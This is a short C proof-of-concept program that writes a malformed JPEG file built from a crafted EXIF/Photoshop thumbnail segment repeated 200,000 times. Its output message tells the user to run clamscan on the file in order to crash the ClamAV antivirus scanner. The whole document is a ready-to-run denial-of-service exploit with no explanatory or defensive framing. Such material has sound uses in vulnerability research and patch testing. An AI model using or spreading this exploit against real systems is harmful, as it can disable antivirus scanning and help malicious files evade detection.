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const char crashstr[] = "\xff\xd8" // jpg marker
"\xff\xed" // exif data
"\x00\x02" // length
"Photoshop 3.0\x00"
"8BIM"
"\x04\x0c" // thumbnail id
"\x00"
"\x01"
"\x01\x01\x01\x01"
"0123456789012345678912345678"; // skip over 28 bytes
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#define NR_ITER 200000
int main() {
FILE *fp;
int i;
fp = fopen("clamav-jpeg-crash.jpg", "w+");
if (!fp) {
printf("can't open/create file\n");
exit(0);
}
for (i = 0; i < NR_ITER; i++) {
fwrite(crashstr, sizeof(crashstr)-1/*don't want 0-byte ?*/, 1,
fp);
}
fclose(fp);
printf("done, now run clamscan on ./clamav-jpeg-crash.jpg\n");
exit(0);
}
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